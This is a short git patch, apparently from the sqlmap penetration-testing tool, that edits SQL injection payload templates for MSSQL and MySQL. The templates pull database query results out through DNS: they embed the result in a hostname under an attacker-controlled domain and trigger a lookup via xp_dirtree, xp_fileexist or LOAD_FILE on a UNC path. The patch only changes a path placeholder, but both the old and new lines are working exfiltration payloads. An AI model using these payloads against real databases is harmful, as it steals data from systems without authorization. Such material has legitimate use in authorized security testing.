From 698b7a15d9d276b2b70d157f0a8bbd73b9bc8345 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 7 Apr 2012 14:14:26 +0000 Subject: [PATCH] minor update --- procs/mssqlserver/dns_request.txt | 4 ++-- procs/mysql/dns_request.txt | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index e8300b22e..a269c7e16 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,4 +1,4 @@ DECLARE @host varchar(1024); SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; -EXEC('master..xp_dirtree "\\'+@host+'\%PREFIX%%SUFFIX%"') -# or EXEC('master..xp_fileexist "\\'+@host+'\%PREFIX%%SUFFIX%"') +EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"') +# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"') diff --git a/procs/mysql/dns_request.txt b/procs/mysql/dns_request.txt index ddce96d27..e32fc478d 100644 --- a/procs/mysql/dns_request.txt +++ b/procs/mysql/dns_request.txt @@ -1 +1 @@ -SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%')) +SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%'))